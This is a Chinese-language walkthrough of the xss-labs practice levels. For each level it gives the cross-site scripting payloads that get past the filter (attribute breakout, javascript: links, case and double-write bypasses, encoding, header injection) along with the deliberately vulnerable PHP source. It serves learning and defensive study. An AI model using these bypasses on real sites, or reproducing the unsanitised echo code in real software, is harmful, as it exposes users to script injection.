前言
主要记录我在做xss-labs时的方法和步骤,并对每关的防守绕过方式稍作总结,并没有过多的知识讲解。
1无过滤
2双引号包裹:闭合双引号>
3实体转换>,单引号包裹:使用事件,闭合单引号
4双引号包裹:闭合双引号
5on和ri用_分开,双引号包裹:利用a便签href属性,闭合">
6re,ri,on用_分开;大小写绕过
7对整个字母过滤;双写绕过
8大小写和双写都过滤;unicode编码
9特殊匹配;加上//http://
10输入框隐藏;前端直接修改
11referer处
12user-agent处
13cookie处
14有点问题不能做
15特殊ng-include包含
16script、/、空格替换成 ;用%0a代替空格
17火狐出不来,也是基础的语句,大可不必专门去做
18-20贴了几个专门讲解的,可以去看看(和flash相关的题目,可flash好像已经……)
第一关
get请求,提交变量test,test完整的显示,并出现在源代码中
尝试变量<script>alert(1)</script>
,发现直接弹窗
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
果然第一关,没有啥防护
第二关
仍然先尝试<script>alert(1)</script>
,发现没有啥反应,查看页面源代码
发现绿框部分<>都被过滤掉了,但下面输入的value值仍然没有改变,但是被包裹住了,所以将包裹的前面部分闭合"><script>alert(1)</script>
,发现成功弹窗
查看后台源代码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
是对输入keyword的值进行了htmlspecialchars()实体转换,但对输入的值无影响,只是输入的值被包裹住了,如果我们提交"><script>alert(1)</script>
,php处理后返回的html就会是,因此会发生弹窗
第三关
直接尝试'><script>alert(1)</script>
还是对<>进行了过滤,这里构造onclick事件'onclick='alert(1)
输入后点击触发事件,出现弹窗,查看后台源代码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
发现不管是我们输入的还是输出的都进行了htmlspecialchars()实体转换,所以我们构造onclick事件来触发弹窗,其实前面几题也都可以使用事件来完成弹窗
第四关
简单尝试"onclick="alert(1)
发现直接弹窗,应该与第三关相似,查看后台源代码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
还是有点区别,但是过滤闭合方法差不多
第五关
还是尝试"onclick="alert(1)
发现on被分开了
再尝试<script>alert(1)</script>
发现ri被分开了
但是<>是可以用的,所以这里利用a标签的href属性"><a href='javascript:alert(1)'>
,仍然需要闭合<"
,点击">
跳转
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);//对<script进行字符替换
$str3=str_replace("on","o_n",$str2);//对on进行字符替换
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
贴上源代码
第六关
尝试"><a href='javascript:alert(1)'>
,发现re被分开了
<script>alert(1)</script>
,ri也被分开
"onclick="alert(1)
,on也被分开
这里我们尝试大小写绕过"><a href='javascript:alert(1)'>
,没想到直接成了
其他的大小写绕过也可以,后台源代码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
还对src,data进行过滤
第七关
尝试<script>alert(1)</script>
script就无了,试了下双写发现能出来一script,本来想">闭合再双写绕过,发现一个都出不来了
我们再尝试"><a hrehreff='javascscriptript:alert(1)'>
,这里就直接双写加闭合了
发现可以,后台源代码
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
双写on也是可以的"oonnclick="alert(1)
第八关
添加友情链接,就是直接把框中内容提交到href="__"中
首先尝试javascript:alert(1),双写,大小写,发现都不行,所以尝试编码绕过javascript:alert(1)
尝试hacker bar自带的base64,hex不行,最后用unicode
编码发现可行,查看源代码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);//加入了大写变小写的转化函数
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
第九关
尝试构造语句,emmmm竟然没有放到href后面去
直接查看后台源代码吧
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
除了上面各种过滤外,还新加了一个匹配是否含有http://
,其实过滤与上一关相同,所以我们在javascript:alert(1)
后面加上一个http://
,再进行编码,然后添加友情链接
笑死根本加不进去,我直接复制粘贴javascript:alert(1)//http://
点击友情链接发现弹窗,可仔细观察,是不是不用编码,直接粘贴到前端这里就好了javascript:alert(1)//http://
第十关
没有输入框了,这关可能要在浏,等等,先看看前端代码把
我直接删掉三个hidden,我就有了三个框
不过好像没有什么用,一个框就好了,在value中构造"onclick="alert(1)
,回车再点击框即可,源代码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
还是有过滤的,不过好像用onclick事件刚好碰运气绕过去了
第十一关
同样的方法再尝试一下
哦?还有这种事?
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
过滤是有的,但运气也是有的
第十二关
解锁新成员User-Agent字段
删除hidden后直接尝试"onclick="alert(1)
,单击框
第十三关
还是老方法先尝试一下
emmm啊这啊这,是不是我投机取巧了,这几关咋这样
第十四关
上来就给我跳转走了
第十五关
这关啥也没有,检查页面源代码啥也没发现,尝试传入参数
好像没有过滤,但好像啥反应也没有,可能是我打开的姿势不对,因为14关直接关掉了,所以我从第一关直接跳过来的,这里应该是/level15.php?src=
,这次发现
可以看到我们提交的参数插入到了标签的class属性值中,而且前面还有ng-include这样的字符(ng-include是angular js中的东西,其作用相当于php的include函数),那我们用它来包含一个本地有xss漏洞的文件来触发xss弹窗就好了
为啥还有个尖括号的过滤
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
后台源代码,原来15关最后还有个实体过滤
第十六关
查看源代码也是啥也没有,直接尝试<script>alert(1)</script>
,发现script
,/
被过滤掉了
尝试<img src=x onerror=alert(1)>
发现空格也被过滤了,我们用url编码来替换空格
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
后台源代码发现都被过滤换成 
了,这个不也是空格吗?
第十七关
点击直接跑到第十八关,有点离谱
后台源代码
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
火狐不支持swf,放到其他浏览器应该行,不过也是一个简单语句就能绕过,大可不必专门去搞了